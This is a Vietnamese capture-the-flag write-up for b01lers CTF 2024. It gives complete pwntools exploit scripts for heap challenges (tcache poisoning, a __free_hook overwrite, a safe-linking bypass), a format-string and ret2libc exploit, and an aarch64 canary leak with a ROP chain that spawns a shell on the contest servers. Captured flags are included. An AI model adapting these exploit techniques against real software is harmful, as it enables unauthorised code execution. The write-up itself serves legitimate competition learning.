# (writeup) b01lers CTF 2024 - giải này khá dễ nên chỉ wu bài arm thôi nhé - mấy bài khác làm lai rai nên sẽ để script và idea exploit thôi ## shall-we-play-a-game - ret2win ## easy note - libc 2.29 - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chal_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) def GDB():#NOALSR if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x5555555554e0 b*0x555555555406 b*0x555555555467 b*0x55555555553c c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('gold.b01le.rs',4001) else: p = process(exe.path) def add(idx,size): sla(b'Resize----\n',b'1') sl(str(idx)) sl(str(size)) def delete(idx): sla(b'Resize----\n',b'2') sla(b'Where? ',str(idx)) def show(idx): sla(b'Resize----\n',b'3') sla(b'Where? ',str(idx)) def edit(idx,size,data): sla(b'Resize----\n',b'4') sla(b'Where? ',str(idx)) sla(b'size? ',str(size)) sl(data) def resize(idx,size): sl(b'6') sla(b'Where? ',str(idx)) sla(b'size? ',str(size)) add(0,0x450) add(1,0x48) GDB() delete(0) show(0) libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - 0x3afca0 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) delete(1) delete(1) system = p64(libc.sym.system) payload = p64(libc.sym.__free_hook) edit(1,0x48,payload) add(2,0x48) edit(2,0x48,b'/bin/sh\0') add(3,0x48) edit(3,0x48,system) delete(2) p.interactive() #bctf{j33z_1_d1dn7_kn0w_h34p_1z_s0_easy} ``` >bctf{j33z_1_d1dn7_kn0w_h34p_1z_s0_easy} ## medium note - source tương đồng bài easy note nhưng hơi khác chút - khác luôn libc (2.36) (không dùng hook được) - thay vào đó ta sẽ ow trên stack để ret2libc - có thêm vài security check thôi - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chal_patched',checksec=False) libc = ELF('./libc-2.36.so.6',checksec=False) def GDB():#NOALSR if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x55555555540b b*0x555555555595 b*0x5555555556a7 b*0x555555555519 b*0x5555555555f5 b*0x5555555556af c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('gold.b01le.rs',4002) else: p = process(exe.path) def add(idx,size): sla(b'Resize----\n',b'1') sl(str(idx)) sl(str(size)) def delete(idx): sla(b'Resize----\n',b'2') sla(b'Where? ',str(idx)) def show(idx): sla(b'Resize----\n',b'3') sla(b'Where? ',str(idx)) def edit(idx,data): sla(b'Resize----\n',b'4') sla(b'Where? ',str(idx)) sl(data) def resize(idx,size): sl(b'6') sla(b'Where? ',str(idx)) sla(b'size? ',str(size)) sl(b'7') p.recvuntil(b'Address: ') secret = int(p.recvuntil(b'\n',drop=True),16) exe.address = secret - 0x159f heap = exe.address + 0x4060 info("secret: " + hex(secret)) info("exe base: " + hex(exe.address)) add(0,0x450) add(1,0x68) delete(0) show(0) libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - 0x1d1cc0 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) delete(1) show(1) leak = u64(p.recv(5)+b'\0\0\0') leek = leak << 12 ptr = leek + 0x700 info("heap leak: " + hex(ptr)) edit(1,b'\0'*0x10) delete(1) add(2,0x50) system = p64(libc.sym.system) info("system: " + hex(libc.sym.system)) addr = heap need = (ptr >> 12)^addr edit(1,p64(need)) # GDB() add(3,0x68) add(4,0x68) payload = b'\0'*8 + p64(libc.sym.__environ) edit(4,payload) show(1) stack_leak = u64(p.recv(6)+b'\0\0') info("stack leak: " + hex(stack_leak)) stack_need = stack_leak - 0x128 - 0x10 - 0x30 info("need: " + hex(stack_need)) add(5,0x40) delete(5) edit(5,b'\0'*0x10) delete(5) ptr = leek + 0x300 addr = stack_need need = (ptr >> 12)^addr edit(5,p64(need)) add(6,0x40) # GDB() add(7,0x40) pop_rdi = libc.address + 0x000000000002aa82 payload = b'a'*0x18 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) # payload += p64(pop_rdi+1) payload += system edit(7,payload) p.interactive() #bctf{sm4ll_0v3rfl0w_1z_571ll_b4d_0k4y} ``` >bctf{sm4ll_0v3rfl0w_1z_571ll_b4d_0k4y} ## seeing-red - hàm **use_ticket()** là bịp - fmt + bof - ret2libc - script ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chal') libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6') # p = process(exe.path) p = remote('gold.b01le.rs',4008) # gdb.attach(p, gdbscript=''' # b*main+138 # b*help_me+102 # c # ''') # input() payload = b'a'*0x48 payload += p64(0x000000000040131f) payload += p64(0x000000000040101a) payload += p64(exe.sym.help_me) p.sendlineafter(b'be?! \n',payload) payload = b'%27$p' p.sendafter(b'song? ',payload) p.recvuntil(b'Ooohh! ') libc_leak = int(p.recvuntil(b'T',drop=True),16) libc.address = libc_leak - 0x29e40 log.info('libc leak: ' + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) pop_rdi = libc.address + 0x000000000002a3e5 payload = b'a'*0x48 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) payload += p64(libc.sym.system) p.sendlineafter(b'be?! \n',payload) p.interactive() #bctf{dr1ving_a_n3w_maser@t1_d0wn_@_d3ad_3nd_str33t_eb30c235cde76705} ``` >bctf{dr1ving_a_n3w_maser@t1_d0wn_@_d3ad_3nd_str33t_eb30c235cde76705} ## zero-to-hero - là shellcode ascii nhưng filter syscall --> brute flag từng bit ## arm-and-a-leg - basic file check ![image](https://hackmd.io/_uploads/B189yCql0.png) - check ghidra ![image](https://hackmd.io/_uploads/HJNngR9xR.png) >**main()** ![image](https://hackmd.io/_uploads/BJiwZAqeR.png) >**worthyness_tester()** ![image](https://hackmd.io/_uploads/S1BGbR5eC.png) >**get_address()** ![image](https://hackmd.io/_uploads/S1C5bAqxR.png) >**feedback()** ### analyse - chall cho 2 option, nhưng đọc sơ qua hàm **main()** thì đ' thấy khác gì =)) - nó sẽ có hàm check để đi tiếp **get_address()** và **feedback()** với input chỉ cần là 1337 - trong hàm **get_address()** có bug FMTSTR ---> leak libc, stack, v.v.. - trong hàm **feedback()** có BOF cho phép nhập tận 0x100 byte - note: architecture là aarch64 nên cách khai thác hơi khác arm32 có wu trước đây ### leak primitive - có canary ---> leak canary rồi leak thêm libc ### ❌ ret2shellcode - dù checksec thấy NX tắt, cộng thêm gdb vmmap thấy stack là rwxp nên hơi hoang mang ( chắc do qemu ngu ngu ) - shellcode > link: https://shell-storm.org/online/Online-Assembler-and-Disassembler/ ![image](https://hackmd.io/_uploads/BymR0pqxA.png) - test thử thì local ra đấy, nhưng server thì không ![image](https://hackmd.io/_uploads/H1VYCTqe0.png) - script tham khảo thôi =)) ![image](https://hackmd.io/_uploads/rJwPCa9eC.png) ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chal',checksec=False) # libc = ELF('./libc.so.6',checksec=False) context.arch = 'aarch64' context.log_level = "debug" p = process(exe.path) # p = process(['qemu-aarch64', '-g' ,'1234' ,'./chal']) # raw_input('Debug') # p = remote("arm-and-a-leg.gold.b01le.rs",1337) p.sendlineafter(b'2. Legs\n',b'1') p.sendlineafter(b'of?\n',b'1337') p.sendlineafter(b'appendage? ',b'%15$p|%21$p||%20$p') p.recvuntil(b'to: ') canary = int(p.recvuntil(b'|',drop=True),16) log.info("canary: " + hex(canary)) libc_leak = int(p.recvuntil(b'||',drop=True),16) libc_base = libc_leak - 0x374cc log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc_base)) stack_leak = int(p.recvline(),16) log.info("stack leak: " + hex(stack_leak)) # binsh = libc_base + 0x15d9f8 need = stack_leak - 0x1a0 log.info("stack need: " + hex(need)) shellcode = b"\x80\x00\x00\x58\xa8\x1b\x80\xd2\x01\x00\x00\xd4" payload = shellcode + b'a'*4 payload += p64(need+0x20) payload += b'a'*8 payload += b'/bin/sh\0' payload = payload.ljust(104,b'a') payload += p64(canary) payload += p64(0x412a00) payload += p64(need) # <--- return payload += b'a'*0x8 payload += p64(canary) p.sendlineafter(b'feedback?!\n',payload) p.interactive() ``` ### ✅ ret2libc - đổi qua phương án này - cái khó là phải kiếm các gadget từ libc - về libc thì lấy từ docker ra ![Ảnh chụp màn hình 2024-04-15 231631](https://hackmd.io/_uploads/BylZmA5gC.png) - để thực thi system('/bin/sh\0') thì thanh ghi x0 (tương đương $rdi) là 1 addr trỏ chuỗi /bin/sh - thanh ghi return (giống $rip) là x30 cần chứa system - và cần 1 lệnh call system (ở trường hợp này lấy lệnh `blr`) - sau khi giành 7749 time để lục gadget thì thu đc 2 gadget có vẻ usefull `mov x0, x19 ; blr x22` > search key là `mov x0` > đưa value x19 vào x0 rồi call x22 `ldp x19, x21, [sp, #0x10] ; ldp x22, x23, [sp, #0x20] ; ldp x29, x30, [sp], #0x60 ; ret` > search key là `ldp` > đưa [sp + 0x10] vào x19 > đưa [sp + 0x10 + 0x8] vào x21 > đưa [sp + 0x20] vào x22 > đưa [sp + 0x20 + 0x8] vào x23 > đưa [sp] vào x29 > đưa [sp + 0x8] vào x30 > tăng sp lên 0x60 - phân tích gadget: 1. vì ta cần /bin/sh ở x0 nên sẽ tìm `mov x0` - và cho ra khá nhiều gadget tương đồng ![image](https://hackmd.io/_uploads/SJ1pcacxA.png) > để nguyên ở đó, sẽ so sánh `blr` các thanh ghi với lệnh khác 2. vì ta cần x19 chứa /bin/sh, ngoài ra cần liên quan cả `ret` lẫn thanh ghi `x30` ![image](https://hackmd.io/_uploads/BJiwsTqeR.png) > ngồi đối chiếu 2 lệnh thì thấy lệnh này khả quan - ok việc chọn gadget xong, ta qua bước ret2libc - ở mỗi func đều có check canary nên mỗi lần return 1 hàm ta sẽ thêm canary để bypass - lạ 1 chỗ khi debug thì return ở **main()** lại không nằm sau **main()** =)))) - mà nó nằm sau hàm **feedback()** (nhưng lại có return main rồi check canary ở **main()** bình thường :v ) - return sau **feedback()** lại lấy stack pointer (sp) là sau canary của main nên từ sp đó chain payload hợp lí thôi ![image](https://hackmd.io/_uploads/BJVJ6aclA.png) > flow như sau > canary > sp : x29 (junk) > sp + 0x8: x30 ($rip) (gadget_mov) > sp + 0x10: x19 (binsh) > sp + 0x18: x21 (junk) > sp + 0x20: x22 (blr x22) (system) > sp + 0x28: x23 (junk) ### get flag ![image](https://hackmd.io/_uploads/ryME0p5eC.png) - debug.dbg ```dbg file chal_patched set architecture aarch64 target remote :1234 b*main+64 b*worthyness_tester+64 b*get_address+56 b*feedback+64 b*main+240 c ``` - script ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chal_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) context.arch = 'aarch64' context.log_level = "debug" # p = process(exe.path) # p = process(['qemu-aarch64', '-g' ,'1234' ,'./chal_patched']) # raw_input('Debug') p = remote("arm-and-a-leg.gold.b01le.rs",1337) p.sendlineafter(b'2. Legs\n',b'1') p.sendlineafter(b'of?\n',b'1337') p.sendlineafter(b'appendage? ',b'%15$p|%21$p||') p.recvuntil(b'to: ') canary = int(p.recvuntil(b'|',drop=True),16) log.info("canary: " + hex(canary)) libc_leak = int(p.recvuntil(b'||',drop=True),16) libc.address = libc_leak - 0x274cc log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) binsh = next(libc.search(b'/bin/sh\0')) log.info("binsh: " + hex(binsh)) system = libc.sym.system log.info("system: " + hex(system)) mov_x0_x19_blr_x22 = libc.address + 0x00000000000ba360 gadget1 = libc.address + 0x00000000000dbf1c #ldp x19, x21, [sp, #0x10] ; ldp x22, x23, [sp, #0x20] ; ldp x29, x30, [sp], #0x60 ; ret payload = b'a'*104 payload += p64(canary) payload += p64(0x412a00) payload += p64(gadget1) # <--- return payload += p64(0) payload += p64(canary) payload += b'a'*0x8#sp payload += p64(mov_x0_x19_blr_x22)#sp+8 payload += p64(binsh)#sp+0x10 payload += p64(0)#sp+0x18 payload += p64(system) #sp+0x20 payload += p64(0)#sp+0x28 p.sendlineafter(b'feedback?!\n',payload) p.interactive() #bctf{c0st_y@_@n_ARM_@nd_a_l3g!_a1659d0e634100240e6} ``` >``bctf{c0st_y@_@n_ARM_@nd_a_l3g!_a1659d0e634100240e6}``